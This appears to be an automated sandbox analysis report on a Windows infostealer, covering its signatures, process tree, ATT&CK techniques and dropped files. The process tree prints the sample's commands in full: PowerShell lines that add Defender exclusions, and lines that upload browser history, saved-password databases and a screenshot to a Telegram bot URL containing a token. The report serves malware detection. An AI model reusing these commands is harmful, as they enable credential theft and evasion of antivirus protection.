Overview

overview

8

Static

static

5

33e9416c18...c5.exe

windows10-2004-x64

8

33e9416c18...c5.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 15:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe
  • Size 254KB
  • Sample260925-sdjbgafa38
  • SHA256 33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Modifies system executable filetype association 2 TTPs 12 IoCs
    persistence
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 10 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe
    "C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe"
    1⤵
    • Disables RegEdit via registry modification
    • Disables cmd.exe use via registry modification
    • Creates a file in the Startup directory
    • Modifies system executable filetype association
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2124
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe'" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3948
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendMessage' -Method Post -Body @{chat_id='8390467609';text='[*] S0ci0 Stealer active'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendMessage' -Method Post -Body @{chat_id='8390467609';text='[*] S0ci0 Stealer active'}"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Chrome] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Chrome_Default.db'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Chrome] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Chrome_Default.db'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3828
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Edge] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Edge_Default.db'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Edge] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Edge_Default.db'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1864
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Firefox] ld7bw5bn.default-release';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\FF_ld7bw5bn.default-release.db'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Firefox] ld7bw5bn.default-release';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\FF_ld7bw5bn.default-release.db'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2672
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Chrome pw] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Chrome_pw_Default.db'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Chrome pw] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Chrome_pw_Default.db'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:368
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Edge pw] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Edge_pw_Default.db'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='[Edge pw] Default';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\Edge_pw_Default.db'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1688
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='Screenshot';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\screen.bmp'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$r=Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendDocument' -Method Post -Form @{chat_id='8390467609';caption='Screenshot';document=Get-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\s0ci0\screen.bmp'}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1388
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendMessage' -Method Post -Body @{chat_id='8390467609';text='[*] All data exfiltrated'}" 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-RestMethod -Uri 'https://api.telegram.org/bot8390467609:AAEwsS2hLtmRPoo-bzjSgJt5VOIWN2T14VY/sendMessage' -Method Post -Body @{chat_id='8390467609';text='[*] All data exfiltrated'}"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1764
  • C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe
    C:\Users\Admin\AppData\Local\Temp\33e9416c18ee095e92cbb3349f6211fc1a8fb2d066e88c71fec154efb0e938c5.exe
    1⤵
      PID:3564

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          2
          T1059

          PowerShell

          1
          T1059.001

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          2
          T1547.001

          Event Triggered Execution

          1
          T1546

          Change Default File Association

          1
          T1546.001

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          2
          T1547.001

          Event Triggered Execution

          1
          T1546

          Change Default File Association

          1
          T1546.001

          Defense Evasion

          Modify Registry

          2
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 2ae6e3f473d1bb5d3fb350e7f4361420068d8fc4ca9bb770d8d97c946217e553
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5c43830bc5a22e03ab0037134cf88f839ebb933721e5bbcf56dbd40854756a82
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1d918ca86050d74751ec4d0dc8fd55af90cf19f29024f2b9c93b29c6d69c36dc
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7d3fdd2bad6af93135063dccd8531c013847c0e27cf8cd614b0222d62b5c86f1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d453140c9061f5bb62bdae81628fbce850e53927e001d5ee4893ca69895ee259
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 12a87a8f9e6b27e75f9c51a190704c14f0d44b762b1741b378e3412bf3c415f0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1f2c1481f86a04d6943d27d14f9fb0c8bfeb0bf88568dd3623a90f83cabd27f8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_j2jvh4mn.ply.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2jvh4mn.ply.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/2124-7-0x0000020B9E9E0000-0x0000020B9EA02000-memory.dmp
          Download

          memory/2124-0-0x0000020B9E7D0000-0x0000020B9E7E0000-memory.dmp
          Download

          memory/2124-1-0x0000020B9E7D0000-0x0000020B9E7E0000-memory.dmp
          Download